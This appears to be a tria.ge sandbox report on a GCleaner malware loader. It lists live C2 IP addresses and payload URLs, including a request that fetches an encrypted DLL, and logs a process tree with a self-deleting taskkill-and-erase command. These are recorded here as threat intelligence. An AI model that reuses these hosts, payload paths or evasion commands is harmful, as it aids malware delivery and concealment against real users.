Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

file.exe

windows7-x64

7

file.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    143s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/07/2023, 00:02 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    file.exe

  • Size

    1.7MB

  • MD5

    95da0a6ddca2bebaee156d59a42756e7

  • SHA1

    5c3336a4e0e80f03276d103c16d26633872906d3

  • SHA256

    e458ae8f825198ef3a2f8e6290053826044dc6635e14dd25884acbf8d7196995

  • SHA512

    62ca716a3b4fb6873eeef258281d3561347dd641f0cb0708ec6d88c525b83b3feca9702e17b17ef8aac60c3ae7ec3a0190734fa918087e22a355cd248c3729b9

  • SSDEEP

    49152:P2YLzyLb+umRm50FRQUYRbIG+kPKgy7d8B6:OVmRkAG+KKgEd8B6

Score
10/10
gcleanerdiscoveryloader

Malware Config

Extracted

Family

gcleaner

C2

45.12.253.56

45.12.253.72

45.12.253.98

45.12.253.75

Signatures

  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Kills process with taskkill 1 IoCs
    evasion
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4676
    • C:\Users\Admin\AppData\Local\Temp\is-IK7S9.tmp\file.exe.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-IK7S9.tmp\file.exe.tmp" /SL5="$A0064,1524245,54272,C:\Users\Admin\AppData\Local\Temp\file.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in Program Files directory
      • Suspicious use of WriteProcessMemory
      PID:3864
      • C:\Windows\SysWOW64\net.exe
        "C:\Windows\system32\net.exe" helpmsg 19
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4688
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 helpmsg 19
          4⤵
            PID:3164
        • C:\Program Files (x86)\FBSpacer719\FBSpacer719.exe
          "C:\Program Files (x86)\FBSpacer719\FBSpacer719.exe"
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1656
          • C:\Users\Admin\AppData\Roaming\{d95ac920-19de-11ee-b689-806e6f6e6963}\dwyk8.exe
            4⤵
            • Executes dropped EXE
            PID:2148
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c taskkill /im "FBSpacer719.exe" /f & erase "C:\Program Files (x86)\FBSpacer719\FBSpacer719.exe" & exit
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2744
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /im "FBSpacer719.exe" /f
              5⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:3532

    Network

    • flag-us
      DNS
      59.128.231.4.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      59.128.231.4.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      219.74.101.95.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      219.74.101.95.in-addr.arpa
      IN PTR
      Response
      219.74.101.95.in-addr.arpa
      IN PTR
      a95-101-74-219deploystaticakamaitechnologiescom
    • flag-us
      DNS
      64.159.190.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      64.159.190.20.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      95.221.229.192.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      95.221.229.192.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      26.35.223.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      26.35.223.20.in-addr.arpa
      IN PTR
      Response
    • flag-nl
      GET
      http://45.12.253.56/advertisting/plus.php?s=NOSUB&str=mixtwo&substr=mixinte
      FBSpacer719.exe
      Remote address:
      45.12.253.56:80
      Request
      GET /advertisting/plus.php?s=NOSUB&str=mixtwo&substr=mixinte HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      User-Agent: OK
      Host: 45.12.253.56
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Thu, 20 Jul 2023 00:02:18 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Content-Length: 1
      Keep-Alive: timeout=5, max=100
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-nl
      GET
      http://45.12.253.72/default/stuk.php
      FBSpacer719.exe
      Remote address:
      45.12.253.72:80
      Request
      GET /default/stuk.php HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      User-Agent: OK
      Host: 45.12.253.72
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Thu, 20 Jul 2023 00:02:19 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Content-Length: 21
      Keep-Alive: timeout=5, max=100
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-nl
      GET
      http://45.12.253.72/default/puk.php
      FBSpacer719.exe
      Remote address:
      45.12.253.72:80
      Request
      GET /default/puk.php HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      User-Agent: OK
      Host: 45.12.253.72
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Thu, 20 Jul 2023 00:02:19 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Pragma: public
      Expires: 0
      Cache-Control: must-revalidate, post-check=0, pre-check=0
      Cache-Control: private
      Content-Disposition: attachment; filename="fuckingdllENCR.dll";
      Content-Transfer-Encoding: binary
      Content-Length: 95248
      Keep-Alive: timeout=5, max=99
      Connection: Keep-Alive
      Content-Type: application/octet-stream
    • flag-nl
      GET
      http://45.12.253.75/dll.php
      FBSpacer719.exe
      Remote address:
      45.12.253.75:80
      Request
      GET /dll.php HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      User-Agent: B
      Host: 45.12.253.75
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Thu, 20 Jul 2023 00:02:19 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Content-Length: 1
      Keep-Alive: timeout=5, max=100
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-nl
      GET
      http://45.12.253.75/dll.php
      FBSpacer719.exe
      Remote address:
      45.12.253.75:80
      Request
      GET /dll.php HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      User-Agent: B
      Host: 45.12.253.75
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Thu, 20 Jul 2023 00:02:22 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Content-Length: 1
      Keep-Alive: timeout=5, max=99
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-nl
      GET
      http://45.12.253.75/dll.php
      FBSpacer719.exe
      Remote address:
      45.12.253.75:80
      Request
      GET /dll.php HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      User-Agent: B
      Host: 45.12.253.75
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Thu, 20 Jul 2023 00:02:24 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Content-Length: 1
      Keep-Alive: timeout=5, max=98
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-nl
      GET
      http://45.12.253.75/dll.php
      FBSpacer719.exe
      Remote address:
      45.12.253.75:80
      Request
      GET /dll.php HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      User-Agent: B
      Host: 45.12.253.75
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Thu, 20 Jul 2023 00:02:27 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Content-Length: 1
      Keep-Alive: timeout=5, max=97
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-nl
      GET
      http://45.12.253.75/dll.php
      FBSpacer719.exe
      Remote address:
      45.12.253.75:80
      Request
      GET /dll.php HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      User-Agent: B
      Host: 45.12.253.75
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Thu, 20 Jul 2023 00:02:30 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Content-Length: 1
      Keep-Alive: timeout=5, max=96
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-nl
      GET
      http://45.12.253.75/dll.php
      FBSpacer719.exe
      Remote address:
      45.12.253.75:80
      Request
      GET /dll.php HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      User-Agent: B
      Host: 45.12.253.75
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Thu, 20 Jul 2023 00:02:33 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Content-Length: 1
      Keep-Alive: timeout=5, max=95
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-nl
      GET
      http://45.12.253.75/dll.php
      FBSpacer719.exe
      Remote address:
      45.12.253.75:80
      Request
      GET /dll.php HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      User-Agent: B
      Host: 45.12.253.75
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Thu, 20 Jul 2023 00:02:36 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Content-Length: 1
      Keep-Alive: timeout=5, max=94
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-nl
      GET
      http://45.12.253.75/dll.php
      FBSpacer719.exe
      Remote address:
      45.12.253.75:80
      Request
      GET /dll.php HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      User-Agent: B
      Host: 45.12.253.75
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Thu, 20 Jul 2023 00:02:38 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Content-Length: 1
      Keep-Alive: timeout=5, max=93
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-nl
      GET
      http://45.12.253.75/dll.php
      FBSpacer719.exe
      Remote address:
      45.12.253.75:80
      Request
      GET /dll.php HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      User-Agent: B
      Host: 45.12.253.75
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Thu, 20 Jul 2023 00:02:41 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Content-Length: 1
      Keep-Alive: timeout=5, max=92
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-nl
      GET
      http://45.12.253.75/dll.php
      FBSpacer719.exe
      Remote address:
      45.12.253.75:80
      Request
      GET /dll.php HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      User-Agent: B
      Host: 45.12.253.75
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Thu, 20 Jul 2023 00:02:44 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Content-Length: 1
      Keep-Alive: timeout=5, max=91
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-nl
      GET
      http://45.12.253.75/dll.php
      FBSpacer719.exe
      Remote address:
      45.12.253.75:80
      Request
      GET /dll.php HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      User-Agent: B
      Host: 45.12.253.75
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Thu, 20 Jul 2023 00:02:47 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Content-Length: 1
      Keep-Alive: timeout=5, max=90
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-us
      DNS
      56.253.12.45.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      56.253.12.45.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      72.253.12.45.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      72.253.12.45.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      202.74.101.95.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      202.74.101.95.in-addr.arpa
      IN PTR
      Response
      202.74.101.95.in-addr.arpa
      IN PTR
      a95-101-74-202deploystaticakamaitechnologiescom
    • flag-us
      DNS
      75.253.12.45.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      75.253.12.45.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      146.78.124.51.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      146.78.124.51.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      26.165.165.52.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      26.165.165.52.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      206.23.85.13.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      206.23.85.13.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      50.23.12.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      50.23.12.20.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      240.221.184.93.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      240.221.184.93.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      11.227.111.52.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      11.227.111.52.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      8.179.89.13.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      8.179.89.13.in-addr.arpa
      IN PTR
      Response
    • 45.12.253.56:80
      http://45.12.253.56/advertisting/plus.php?s=NOSUB&str=mixtwo&substr=mixinte
      http
      FBSpacer719.exe
      712 B
       376 B
       6
      4

      HTTP Request

      GET http://45.12.253.56/advertisting/plus.php?s=NOSUB&str=mixtwo&substr=mixinte

      HTTP Response

      200
    • 45.12.253.72:80
      http://45.12.253.72/default/puk.php
      http
      FBSpacer719.exe
      4.4kB
       98.9kB
       78
      76

      HTTP Request

      GET http://45.12.253.72/default/stuk.php

      HTTP Response

      200

      HTTP Request

      GET http://45.12.253.72/default/puk.php

      HTTP Response

      200
    • 45.12.253.75:80
      http://45.12.253.75/dll.php
      http
      FBSpacer719.exe
      5.3kB
       3.2kB
       25
      23

      HTTP Request

      GET http://45.12.253.75/dll.php

      HTTP Response

      200

      HTTP Request

      GET http://45.12.253.75/dll.php

      HTTP Response

      200

      HTTP Request

      GET http://45.12.253.75/dll.php

      HTTP Response

      200

      HTTP Request

      GET http://45.12.253.75/dll.php

      HTTP Response

      200

      HTTP Request

      GET http://45.12.253.75/dll.php

      HTTP Response

      200

      HTTP Request

      GET http://45.12.253.75/dll.php

      HTTP Response

      200

      HTTP Request

      GET http://45.12.253.75/dll.php

      HTTP Response

      200

      HTTP Request

      GET http://45.12.253.75/dll.php

      HTTP Response

      200

      HTTP Request

      GET http://45.12.253.75/dll.php

      HTTP Response

      200

      HTTP Request

      GET http://45.12.253.75/dll.php

      HTTP Response

      200

      HTTP Request

      GET http://45.12.253.75/dll.php

      HTTP Response

      200
    • 8.8.8.8:53
      59.128.231.4.in-addr.arpa
      dns
      71 B
       157 B
       1
      1

      DNS Request

      59.128.231.4.in-addr.arpa

    • 8.8.8.8:53
      219.74.101.95.in-addr.arpa
      dns
      72 B
       137 B
       1
      1

      DNS Request

      219.74.101.95.in-addr.arpa

    • 8.8.8.8:53
      64.159.190.20.in-addr.arpa
      dns
      72 B
       158 B
       1
      1

      DNS Request

      64.159.190.20.in-addr.arpa

    • 8.8.8.8:53
      95.221.229.192.in-addr.arpa
      dns
      73 B
       144 B
       1
      1

      DNS Request

      95.221.229.192.in-addr.arpa

    • 8.8.8.8:53
      26.35.223.20.in-addr.arpa
      dns
      71 B
       157 B
       1
      1

      DNS Request

      26.35.223.20.in-addr.arpa

    • 8.8.8.8:53
      56.253.12.45.in-addr.arpa
      dns
      71 B
       146 B
       1
      1

      DNS Request

      56.253.12.45.in-addr.arpa

    • 8.8.8.8:53
      72.253.12.45.in-addr.arpa
      dns
      71 B
       146 B
       1
      1

      DNS Request

      72.253.12.45.in-addr.arpa

    • 8.8.8.8:53
      202.74.101.95.in-addr.arpa
      dns
      72 B
       137 B
       1
      1

      DNS Request

      202.74.101.95.in-addr.arpa

    • 8.8.8.8:53
      75.253.12.45.in-addr.arpa
      dns
      71 B
       146 B
       1
      1

      DNS Request

      75.253.12.45.in-addr.arpa

    • 8.8.8.8:53
      146.78.124.51.in-addr.arpa
      dns
      72 B
       158 B
       1
      1

      DNS Request

      146.78.124.51.in-addr.arpa

    • 8.8.8.8:53
      26.165.165.52.in-addr.arpa
      dns
      72 B
       146 B
       1
      1

      DNS Request

      26.165.165.52.in-addr.arpa

    • 8.8.8.8:53
      206.23.85.13.in-addr.arpa
      dns
      71 B
       145 B
       1
      1

      DNS Request

      206.23.85.13.in-addr.arpa

    • 8.8.8.8:53
      50.23.12.20.in-addr.arpa
      dns
      70 B
       156 B
       1
      1

      DNS Request

      50.23.12.20.in-addr.arpa

    • 8.8.8.8:53
      240.221.184.93.in-addr.arpa
      dns
      73 B
       144 B
       1
      1

      DNS Request

      240.221.184.93.in-addr.arpa

    • 8.8.8.8:53
      11.227.111.52.in-addr.arpa
      dns
      72 B
       158 B
       1
      1

      DNS Request

      11.227.111.52.in-addr.arpa

    • 8.8.8.8:53
      8.179.89.13.in-addr.arpa
      dns
      70 B
       144 B
       1
      1

      DNS Request

      8.179.89.13.in-addr.arpa

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Program Files (x86)\FBSpacer719\FBSpacer719.exe
      Filesize

      3.1MB

      MD5

      aa833161af67d3b3f746fcc5367f33b7

      SHA1

      7f164c9a99a6af65d39306b4f864bbe7dac9246d

      SHA256

      8ff92274055f16c018a67abace9222c1cbf20a3ef20b91f84157f9701579b045

      SHA512

      4e8e1a63c3f73ece53b2ccc5974d796dba1b39eaec063585f856491f89dd4f176883ee7a534f20b98f09a480092dc168dcea490deb8b6d725a2b8fb0ab24f5f1

      Download Submit

    • C:\Program Files (x86)\FBSpacer719\FBSpacer719.exe
      Filesize

      3.1MB

      MD5

      aa833161af67d3b3f746fcc5367f33b7

      SHA1

      7f164c9a99a6af65d39306b4f864bbe7dac9246d

      SHA256

      8ff92274055f16c018a67abace9222c1cbf20a3ef20b91f84157f9701579b045

      SHA512

      4e8e1a63c3f73ece53b2ccc5974d796dba1b39eaec063585f856491f89dd4f176883ee7a534f20b98f09a480092dc168dcea490deb8b6d725a2b8fb0ab24f5f1

      Download Submit

    • C:\Program Files (x86)\FBSpacer719\readme.txt
      Filesize

      4KB

      MD5

      ce494d2d223aed950fea67f657d3fa3e

      SHA1

      97a19c02487c41e3a079cd6764afffeb5e838b26

      SHA256

      c8fa111c5b9537e3b6cab9ba763e164e27fa469f2232b82a54b206a7d892b9e9

      SHA512

      687bf3bd7de28dc45ea622672dc59d7e45d9ce83530a7db6462447ea247a9bde061738c454e09b48531aab9cce802c8491aa730e4da65e63daf31c65ffc39fe1

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\C7IPBQYV\dll[1].htm
      Filesize

      1B

      MD5

      cfcd208495d565ef66e7dff9f98764da

      SHA1

      b6589fc6ab0dc82cf12099d1c2d40ab994e8410c

      SHA256

      5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9

      SHA512

      31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\is-B1SAE.tmp\_isetup\_iscrypt.dll
      Filesize

      2KB

      MD5

      a69559718ab506675e907fe49deb71e9

      SHA1

      bc8f404ffdb1960b50c12ff9413c893b56f2e36f

      SHA256

      2f6294f9aa09f59a574b5dcd33be54e16b39377984f3d5658cda44950fa0f8fc

      SHA512

      e52e0aa7fe3f79e36330c455d944653d449ba05b2f9abee0914a0910c3452cfa679a40441f9ac696b3ccf9445cbb85095747e86153402fc362bb30ac08249a63

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\is-IK7S9.tmp\file.exe.tmp
      Filesize

      666KB

      MD5

      0e7f27cc46df2ce950edb562b443d15f

      SHA1

      0c5253dbfbccb7517811529679d4485d959829a5

      SHA256

      610d949e936698934a293bcbca02aa66535cb92006a1629595d3b5439b44a87b

      SHA512

      f74951340446e76244ebfe3ddb90c650de5849eeed27a37bc8fd1bb111be9543177b2e46ccef2a98c2044114ab56101491dd6cd08ac8b856535ac7e1cf425255

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\is-IK7S9.tmp\file.exe.tmp
      Filesize

      666KB

      MD5

      0e7f27cc46df2ce950edb562b443d15f

      SHA1

      0c5253dbfbccb7517811529679d4485d959829a5

      SHA256

      610d949e936698934a293bcbca02aa66535cb92006a1629595d3b5439b44a87b

      SHA512

      f74951340446e76244ebfe3ddb90c650de5849eeed27a37bc8fd1bb111be9543177b2e46ccef2a98c2044114ab56101491dd6cd08ac8b856535ac7e1cf425255

      Download Submit

    • C:\Users\Admin\AppData\Roaming\{d95ac920-19de-11ee-b689-806e6f6e6963}\dwyk8.exe
      Filesize

      72KB

      MD5

      3fb36cb0b7172e5298d2992d42984d06

      SHA1

      439827777df4a337cbb9fa4a4640d0d3fa1738b7

      SHA256

      27ae813ceff8aa56e9fa68c8e50bb1c6c4a01636015eac4bd8bf444afb7020d6

      SHA512

      6b39cb32d77200209a25080ac92bc71b1f468e2946b651023793f3585ee6034adc70924dbd751cf4a51b5e71377854f1ab43c2dd287d4837e7b544ff886f470c

      Download Submit

    • C:\Users\Admin\AppData\Roaming\{d95ac920-19de-11ee-b689-806e6f6e6963}\dwyk8.exe
      Filesize

      72KB

      MD5

      3fb36cb0b7172e5298d2992d42984d06

      SHA1

      439827777df4a337cbb9fa4a4640d0d3fa1738b7

      SHA256

      27ae813ceff8aa56e9fa68c8e50bb1c6c4a01636015eac4bd8bf444afb7020d6

      SHA512

      6b39cb32d77200209a25080ac92bc71b1f468e2946b651023793f3585ee6034adc70924dbd751cf4a51b5e71377854f1ab43c2dd287d4837e7b544ff886f470c

      Download Submit

    • memory/1656-326-0x0000000000400000-0x0000000001522000-memory.dmp

      Filesize

      17.1MB

      Download

    • memory/1656-324-0x0000000000400000-0x0000000001522000-memory.dmp

      Filesize

      17.1MB

      Download

    • memory/1656-325-0x0000000000400000-0x0000000001522000-memory.dmp

      Filesize

      17.1MB

      Download

    • memory/1656-334-0x0000000010000000-0x000000001001B000-memory.dmp

      Filesize

      108KB

      Download

    • memory/1656-341-0x0000000000400000-0x0000000001522000-memory.dmp

      Filesize

      17.1MB

      Download

    • memory/1656-358-0x0000000000400000-0x0000000001522000-memory.dmp

      Filesize

      17.1MB

      Download

    • memory/3864-339-0x0000000000400000-0x00000000004B5000-memory.dmp

      Filesize

      724KB

      Download

    • memory/3864-342-0x0000000002340000-0x0000000002341000-memory.dmp

      Filesize

      4KB

      Download

    • memory/3864-140-0x0000000002340000-0x0000000002341000-memory.dmp

      Filesize

      4KB

      Download

    • memory/3864-359-0x0000000000400000-0x00000000004B5000-memory.dmp

      Filesize

      724KB

      Download

    • memory/4676-134-0x0000000000400000-0x0000000000414000-memory.dmp

      Filesize

      80KB

      Download

    • memory/4676-338-0x0000000000400000-0x0000000000414000-memory.dmp

      Filesize

      80KB

      Download

    • memory/4676-360-0x0000000000400000-0x0000000000414000-memory.dmp

      Filesize

      80KB

      Download

    We care about your privacy.

    This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.